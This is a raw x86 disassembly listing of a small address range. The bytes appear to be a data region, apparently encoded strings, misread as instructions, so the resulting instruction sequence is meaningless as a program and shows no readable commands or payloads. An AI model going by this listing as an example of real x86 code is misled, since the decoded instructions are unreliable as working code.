40ece7:	53                   	push   %ebx
40ece8:	84 73 7f             	test   %dh,0x7f(%ebx)
40eceb:	65 78 00             	gs js  0x40ecee
40ecee:	50                   	push   %eax
40ecef:	6e                   	outsb  %ds:(%esi),(%dx)
40ecf0:	81 69 7d 6f 79 6d 70 	subl   $0x706d796f,0x7d(%ecx)
40ecf7:	6e                   	outsb  %ds:(%esi),(%dx)
40ecf8:	7f 00                	jg     0x40ecfa
40ecfa:	5e                   	pop    %esi
40ecfb:	70 70                	jo     0x40ed6d
40ecfd:	63 74 61 77          	arpl   %esi,0x77(%ecx,%eiz,2)
40ed01:	46                   	inc    %esi
40ed02:	7a 6c                	jp     0x40ed70
40ed04:	6f                   	outsl  %ds:(%esi),(%dx)
40ed05:	65 7d 00             	gs jge 0x40ed08
40ed08:	5e                   	pop    %esi
40ed09:	74 7d                	je     0x40ed88
40ed0b:	69 79 67 4d 75 74 6c 	imul   $0x6c74754d,0x67(%ecx),%edi
40ed12:	6f                   	outsl  %ds:(%esi),(%dx)
40ed13:	65 7d 00             	gs jge 0x40ed16
40ed16:	5e                   	pop    %esi
40ed17:	79 7e                	jns    0x40ed97
40ed19:	74 70                	je     0x40ed8b
40ed1b:	6d                   	insl   (%dx),%es:(%edi)
40ed1c:	39 54 70 78          	cmp    %edx,0x78(%eax,%esi,2)
40ed20:	7f 00                	jg     0x40ed22
40ed22:	53                   	push   %ebx
40ed23:	61                   	popa
40ed24:	7e 68                	jle    0x40ed8e
40ed26:	4c                   	dec    %esp
40ed27:	6c                   	insb   (%dx),%es:(%edi)
40ed28:	72 6f                	jb     0x40ed99
40ed2a:	7d 69                	jge    0x40ed95
40ed2c:	7f 68                	jg     0x40ed96
40ed2e:	78 00                	js     0x40ed30
40ed30:	5e                   	pop    %esi
40ed31:	79 7e                	jns    0x40edb1
40ed33:	74 70                	je     0x40eda5
40ed35:	6d                   	insl   (%dx),%es:(%edi)
40ed36:	39 53 70             	cmp    %edx,0x70(%ebx)
40ed39:	63 80 72 74 74 84    	arpl   %eax,-0x7b8b8b8e(%eax)
40ed3f:	2e 4e                	cs dec %esi
40ed41:	72 84                	jb     0x40ecc7
40ed43:	70 7f                	jo     0x40edc4
40ed45:	6f                   	outsl  %ds:(%esi),(%dx)
40ed46:	72 72                	jb     0x40edba
40ed48:	6c                   	insb   (%dx),%es:(%edi)
40ed49:	70 73                	jo     0x40edbe
40ed4b:	79 0b                	jns    0x40ed58
40ed4d:	44                   	inc    %esp
40ed4e:	74 63                	je     0x40edb3
40ed50:	7f 69                	jg     0x40edbb
40ed52:	7a 6e                	jp     0x40edc2
40ed54:	6c                   	insb   (%dx),%es:(%edi)
40ed55:	72 84                	jb     0x40ecdb
40ed57:	60                   	pusha
40ed58:	3d 00 5e 79 7e       	cmp    $0x7e795e00,%eax
40ed5d:	74 70                	je     0x40edcf
40ed5f:	6d                   	insl   (%dx),%es:(%edi)
40ed60:	39 43 7a             	cmp    %eax,0x7a(%ebx)
40ed63:	6c                   	insb   (%dx),%es:(%edi)
40ed64:	77 65                	ja     0x40edcb
40ed66:	6e                   	outsb  %ds:(%esi),(%dx)
40ed67:	74 74                	je     0x40eddd
40ed69:	6f                   	outsl  %ds:(%esi),(%dx)
40ed6a:	79 73                	jns    0x40eddf
40ed6c:	39 47 70             	cmp    %eax,0x70(%edi)
40ed6f:	6e                   	outsb  %ds:(%esi),(%dx)
40ed70:	70 72                	jo     0x40ede4
40ed72:	74 63                	je     0x40edd7
40ed74:	0b 4d 70             	or     0x70(%ebp),%ecx
40ed77:	6d                   	insl   (%dx),%es:(%edi)
40ed78:	7a 72                	jp     0x40edec
40ed7a:	84 53 7f             	test   %dl,0x7f(%ebx)
40ed7d:	72 70                	jb     0x40edef
40ed7f:	61                   	popa
40ed80:	78 00                	js     0x40ed82
40ed82:	5e                   	pop    %esi
40ed83:	79 7e                	jns    0x40ee03
40ed85:	74 70                	je     0x40edf7
40ed87:	6d                   	insl   (%dx),%es:(%edi)
40ed88:	39 49 5a             	cmp    %ecx,0x5a(%ecx)
40ed8b:	00 51 69             	add    %dl,0x69(%ecx)
40ed8e:	77 65                	ja     0x40edf5
40ed90:	5e                   	pop    %esi
40ed91:	74 7d                	je     0x40ee10
40ed93:	65 6c                	gs insb (%dx),%es:(%edi)
40ed95:	6d                   	insl   (%dx),%es:(%edi)
40ed96:	0b 53 7f             	or     0x7f(%ebx),%edx
40ed99:	72 70                	jb     0x40ee0b
40ed9b:	61                   	popa
40ed9c:	78 52                	js     0x40edf0
40ed9e:	70 61                	jo     0x40ee01
40eda0:	6f                   	outsl  %ds:(%esi),(%dx)
40eda1:	65 7d 00             	gs jge 0x40eda4
40eda4:	5f                   	pop    %edi
40eda5:	79 7b                	jns    0x40ee22
40eda7:	65 0b 4c 74 73       	or     %gs:0x73(%esp,%esi,2),%ecx
40edac:	7f 60                	jg     0x40ee0e
40edae:	3c 00                	cmp    $0x0,%al
40edb0:	5f                   	pop    %edi
40edb1:	61                   	popa
40edb2:	7e 6b                	jle    0x40ee1f
40edb4:	0b 53 84             	or     -0x7c(%ebx),%edx
40edb7:	73 7f                	jae    0x40ee38
40edb9:	65 78 2e             	gs js  0x40edea
40edbc:	5f                   	pop    %edi
40edbd:	68 7d 65 6c 64       	push   $0x646c657d
40edc2:	74 6e                	je     0x40ee32
40edc4:	72 2e                	jb     0x40edf4
40edc6:	5f                   	pop    %edi
40edc7:	61                   	popa
40edc8:	7e 6b                	jle    0x40ee35
40edca:	7e 00                	jle    0x40edcc
40edcc:	54                   	push   %esp
40edcd:	4c                   	dec    %esp
40edce:	74 73                	je     0x40ee43
40edd0:	7f 60                	jg     0x40ee32
40edd2:	3c 00                	cmp    $0x0,%al
40edd4:	51                   	push   %ecx
40edd5:	69 77 65 54 6e 71 6f 	imul   $0x6f716e54,0x65(%edi),%esi
40eddc:	0b 53 5f             	or     0x5f(%ebx),%edx
40eddf:	41                   	inc    %ecx
40ede0:	5f                   	pop    %edi
40ede1:	68 7d 65 6c 64       	push   $0x646c657d
40ede6:	4c                   	dec    %esp
40ede7:	74 7f                	je     0x40ee68
40ede9:	72 74                	jb     0x40ee5f
40edeb:	62 80 74 70 00 51    	bound  %eax,0x51007074(%eax)
40edf1:	6c                   	insb   (%dx),%es:(%edi)
40edf2:	6c                   	insb   (%dx),%es:(%edi)
40edf3:	67 7e 41             	addr16 jle 0x40ee37
40edf6:	7f 74                	jg     0x40ee6c
40edf8:	7d 69                	jge    0x40ee63
40edfa:	6d                   	insl   (%dx),%es:(%edi)
40edfb:	75 7f                	jne    0x40ee7c
40edfd:	65 0b 45 79          	or     %gs:0x79(%ebp),%eax
40ee01:	75 78                	jne    0x40ee7b
40ee03:	00 4d 69             	add    %cl,0x69(%ebp)
40ee06:	79 61                	jns    0x40ee69
40ee08:	7d 79                	jge    0x40ee83
40ee0a:	5d                   	pop    %ebp
40ee0b:	65 6c                	gs insb (%dx),%es:(%edi)
40ee0d:	64 70 72             	fs jo  0x40ee82
40ee10:	0b 44 70 62          	or     0x62(%eax,%esi,2),%eax
40ee14:	80 67 72 65          	andb   $0x65,0x72(%edi)
40ee18:	7d 4e                	jge    0x40ee68
40ee1a:	7a 6e                	jp     0x40ee8a
40ee1c:	60                   	pusha
40ee1d:	73 70                	jae    0x40ee8f
40ee1f:	72 4e                	jb     0x40ee6f
40ee21:	6f                   	outsl  %ds:(%esi),(%dx)
40ee22:	6f                   	outsl  %ds:(%esi),(%dx)
40ee23:	65 4c                	gs dec %esp
40ee25:	74 7f                	je     0x40eea6
40ee27:	72 74                	jb     0x40ee9d
40ee29:	62 80 74 70 00 4e    	bound  %eax,0x4e007074(%eax)
40ee2f:	6f                   	outsl  %ds:(%esi),(%dx)
40ee30:	78 70                	js     0x40eea2
40ee32:	74 6c                	je     0x40eea0
40ee34:	70 72                	jo     0x40eea8
40ee36:	52                   	push   %edx
40ee37:	65 79 65             	gs jns 0x40ee9f
40ee3a:	7d 61                	jge    0x40ee9d
40ee3c:	7f 65                	jg     0x40eea3
40ee3e:	6f                   	outsl  %ds:(%esi),(%dx)
40ee3f:	41                   	inc    %ecx
40ee40:	7f 74                	jg     0x40eeb6
40ee42:	7d 69                	jge    0x40eead
40ee44:	6d                   	insl   (%dx),%es:(%edi)
40ee45:	75 7f                	jne    0x40eec6
40ee47:	65 0b 52 70          	or     %gs:0x70(%edx),%edx
40ee4b:	73 7a                	jae    0x40eec7
40ee4d:	75 7d                	jne    0x40eecc
40ee4f:	63 70 4d             	arpl   %esi,0x4d(%eax)
40ee52:	6c                   	insb   (%dx),%es:(%edi)
40ee53:	6e                   	outsb  %ds:(%esi),(%dx)
40ee54:	6c                   	insb   (%dx),%es:(%edi)
40ee55:	67 70 72             	addr16 jo 0x40eeca
40ee58:	0b 43 80             	or     -0x80(%ebx),%eax
40ee5b:	6c                   	insb   (%dx),%es:(%edi)
40ee5c:	7f 75                	jg     0x40eed3
40ee5e:	7d 65                	jge    0x40eec5
40ee60:	54                   	push   %esp
40ee61:	6e                   	outsb  %ds:(%esi),(%dx)
40ee62:	71 6f                	jno    0x40eed3
40ee64:	0b 53 84             	or     -0x7c(%ebx),%edx
40ee67:	73 7f                	jae    0x40eee8
40ee69:	65 78 2e             	gs js  0x40ee9a
40ee6c:	52                   	push   %edx
40ee6d:	6c                   	insb   (%dx),%es:(%edi)
40ee6e:	7a 62                	jp     0x40eed2
40ee70:	6c                   	insb   (%dx),%es:(%edi)
40ee71:	6c                   	insb   (%dx),%es:(%edi)
40ee72:	74 7a                	je     0x40eeee
40ee74:	6c                   	insb   (%dx),%es:(%edi)
40ee75:	74 74                	je     0x40eeeb
40ee77:	6f                   	outsl  %ds:(%esi),(%dx)
40ee78:	79 00                	jns    0x40ee7a
40ee7a:	61                   	popa
40ee7b:	61                   	popa
40ee7c:	77 75                	ja     0x40eef3
40ee7e:	70 54                	jo     0x40eed4
40ee80:	84 70 70             	test   %dh,0x70(%eax)
40ee83:	00 54 6e 7f          	add    %dl,0x7f(%esi,%ebp,2)
40ee87:	50                   	push   %eax
40ee88:	7f 72                	jg     0x40eefc
40ee8a:	0b 49 79             	or     0x79(%ecx),%ecx
40ee8d:	74 3e                	je     0x40eecd
40ee8f:	32 0b                	xor    (%ebx),%cl
40ee91:	53                   	push   %ebx
40ee92:	7f 72                	jg     0x40ef06
40ee94:	74 6e                	je     0x40ef04
40ee96:	72 00                	jb     0x40ee98
40ee98:	5b                   	pop    %ebx
40ee99:	61                   	popa
40ee9a:	7f 68                	jg     0x40ef04
40ee9c:	0b 46 74             	or     0x74(%esi),%eax
40ee9f:	6c                   	insb   (%dx),%es:(%edi)
40eea0:	70 00                	jo     0x40eea2
40eea2:	4d                   	dec    %ebp
40eea3:	79 7f                	jns    0x40ef24
40eea5:	65 0b 53 7f          	or     %gs:0x7f(%ebx),%edx
40eea9:	72 70                	jb     0x40ef1b
40eeab:	61                   	popa
40eeac:	78 00                	js     0x40eeae
40eeae:	54                   	push   %esp
40eeaf:	44                   	inc    %esp
40eeb0:	74 73                	je     0x40ef25
40eeb2:	7b 6f                	jnp    0x40ef23
40eeb4:	7e 61                	jle    0x40ef17
40eeb6:	6d                   	insl   (%dx),%es:(%edi)
40eeb7:	6c                   	insb   (%dx),%es:(%edi)
40eeb8:	70 00                	jo     0x40eeba
40eeba:	51                   	push   %ecx
40eebb:	69 77 65 58 6f 6f 65 	imul   $0x656f6f58,0x65(%edi),%esi
40eec2:	0b 46 74             	or     0x74(%esi),%eax
40eec5:	6c                   	insb   (%dx),%es:(%edi)
40eec6:	70 41                	jo     0x40ef09
40eec8:	6e                   	outsb  %ds:(%esi),(%dx)
40eec9:	63 70 73             	arpl   %esi,0x73(%eax)
40eecc:	7e 00                	jle    0x40eece
40eece:	51                   	push   %ecx
40eecf:	69 77 65 5e 68 6c 72 	imul   $0x726c685e,0x65(%edi),%esi
40eed6:	70 00                	jo     0x40eed8
40eed8:	5f                   	pop    %edi
40eed9:	65 83 74 5d 65 6c    	xorl   $0x6c,%gs:0x65(%ebp,%ebx,2)
40eedf:	64 70 72             	fs jo  0x40ef54
40eee2:	0b 53 53             	or     0x53(%ebx),%edx
40eee5:	41                   	inc    %ecx
40eee6:	3d 35 41 4d 6c       	cmp    $0x6c4d4135,%eax
40eeeb:	6e                   	outsb  %ds:(%esi),(%dx)
40eeec:	6c                   	insb   (%dx),%es:(%edi)
40eeed:	67 70 64             	addr16 jo 0x40ef54
40eef0:	0b 41 7b             	or     0x7b(%ecx),%eax
40eef3:	70 4f                	jo     0x40ef44
40eef5:	6f                   	outsl  %ds:(%esi),(%dx)
40eef6:	78 61                	js     0x40ef59
40eef8:	74 6e                	je     0x40ef68
40eefa:	0b 41 7e             	or     0x7e(%ecx),%eax
40eefd:	73 70                	jae    0x40ef6f
40eeff:	6d                   	insl   (%dx),%es:(%edi)
40ef00:	6d                   	insl   (%dx),%es:(%edi)
40ef01:	6c                   	insb   (%dx),%es:(%edi)
40ef02:	84 4e 6c             	test   %cl,0x6c(%esi)
40ef05:	6d                   	insl   (%dx),%es:(%edi)
40ef06:	70 00                	jo     0x40ef08
40ef08:	4c                   	dec    %esp
40ef09:	73 7e                	jae    0x40ef89
40ef0b:	65 78 62             	gs js  0x40ef70
40ef0e:	77 79                	ja     0x40ef89
40ef10:	4d                   	dec    %ebp
40ef11:	75 74                	jne    0x40ef87
40ef13:	6c                   	insb   (%dx),%es:(%edi)
40ef14:	6f                   	outsl  %ds:(%esi),(%dx)
40ef15:	65 7d 00             	gs jge 0x40ef18
40ef18:	5e                   	pop    %esi
40ef19:	79 7e                	jns    0x40ef99
40ef1b:	74 70                	je     0x40ef8d
40ef1d:	6d                   	insl   (%dx),%es:(%edi)
40ef1e:	39 52 70             	cmp    %edx,0x70(%edx)
40ef21:	66 77 65             	data16 ja 0x40ef89
40ef24:	6e                   	outsb  %ds:(%esi),(%dx)
40ef25:	74 74                	je     0x40ef9b
40ef27:	6f                   	outsl  %ds:(%esi),(%dx)
40ef28:	79 2e                	jns    0x40ef58
40ef2a:	50                   	push   %eax
40ef2b:	6d                   	insl   (%dx),%es:(%edi)
40ef2c:	74 74                	je     0x40efa2
40ef2e:	0b 41 7e             	or     0x7e(%ecx),%eax
40ef31:	73 70                	jae    0x40efa3
40ef33:	6d                   	insl   (%dx),%es:(%edi)
40ef34:	6d                   	insl   (%dx),%es:(%edi)
40ef35:	6c                   	insb   (%dx),%es:(%edi)
40ef36:	84 42 80             	test   %al,-0x80(%edx)
40ef39:	69 77 64 70 72 4c 63 	imul   $0x634c7270,0x64(%edi),%esi
40ef40:	6e                   	outsb  %ds:(%esi),(%dx)
40ef41:	65 7e 73             	gs jle 0x40efb7
40ef44:	0b 4d 7a             	or     0x7a(%ebp),%ecx
40ef47:	64 80 6c 70 42 80    	subb   $0x80,%fs:0x42(%eax,%esi,2)
40ef4d:	69 77 64 70 72 0b 4d 	imul   $0x4d0b7270,0x64(%edi),%esi
40ef54:	70 74                	jo     0x40efca
40ef56:	73 6f                	jae    0x40efc7
40ef58:	6f                   	outsl  %ds:(%esi),(%dx)
40ef59:	42                   	inc    %edx
40ef5a:	80 69 77 64          	subb   $0x64,0x77(%ecx)
40ef5e:	70 72                	jo     0x40efd2
40ef60:	0b 4d 70             	or     0x70(%ebp),%ecx
40ef63:	74 73                	je     0x40efd8
40ef65:	6f                   	outsl  %ds:(%esi),(%dx)
40ef66:	6f                   	outsl  %ds:(%esi),(%dx)
40ef67:	41                   	inc    %ecx
40ef68:	7f 74                	jg     0x40efde
40ef6a:	7d 69                	jge    0x40efd5
40ef6c:	6d                   	insl   (%dx),%es:(%edi)
40ef6d:	75 7f                	jne    0x40efee
40ef6f:	65 7e 00             	gs jle 0x40ef72
40ef72:	4e                   	dec    %esi
40ef73:	61                   	popa
40ef74:	77 6c                	ja     0x40efe2
40ef76:	74 6e                	je     0x40efe6
40ef78:	72 43                	jb     0x40efbd
40ef7a:	7a 6e                	jp     0x40efea
40ef7c:	81 65 79 74 74 6f 79 	andl   $0x796f7474,0x79(%ebp)
40ef83:	73 0b                	jae    0x40ef90
40ef85:	43                   	inc    %ebx
40ef86:	6c                   	insb   (%dx),%es:(%edi)
40ef87:	6c                   	insb   (%dx),%es:(%edi)
40ef88:	77 69                	ja     0x40eff3
40ef8a:	79 67                	jns    0x40eff3
40ef8c:	4e                   	dec    %esi
40ef8d:	6f                   	outsl  %ds:(%esi),(%dx)
40ef8e:	79 76                	jns    0x40f006
40ef90:	70 6e                	jo     0x40f000
40ef92:	7f 69                	jg     0x40effd
40ef94:	7a 6e                	jp     0x40f004
40ef96:	0b 43 73             	or     0x73(%ebx),%eax
40ef99:	61                   	popa
40ef9a:	7d 53                	jge    0x40efef
40ef9c:	70 74                	jo     0x40f012
40ef9e:	0b 4d 70             	or     0x70(%ebp),%ecx
40efa1:	74 73                	je     0x40f016
40efa3:	6f                   	outsl  %ds:(%esi),(%dx)
40efa4:	6f                   	outsl  %ds:(%esi),(%dx)
40efa5:	49                   	dec    %ecx
40efa6:	78 70                	js     0x40f018
40efa8:	77 41                	ja     0x40efeb
40efaa:	7f 74                	jg     0x40f020
40efac:	7d 69                	jge    0x40f017
40efae:	6d                   	insl   (%dx),%es:(%edi)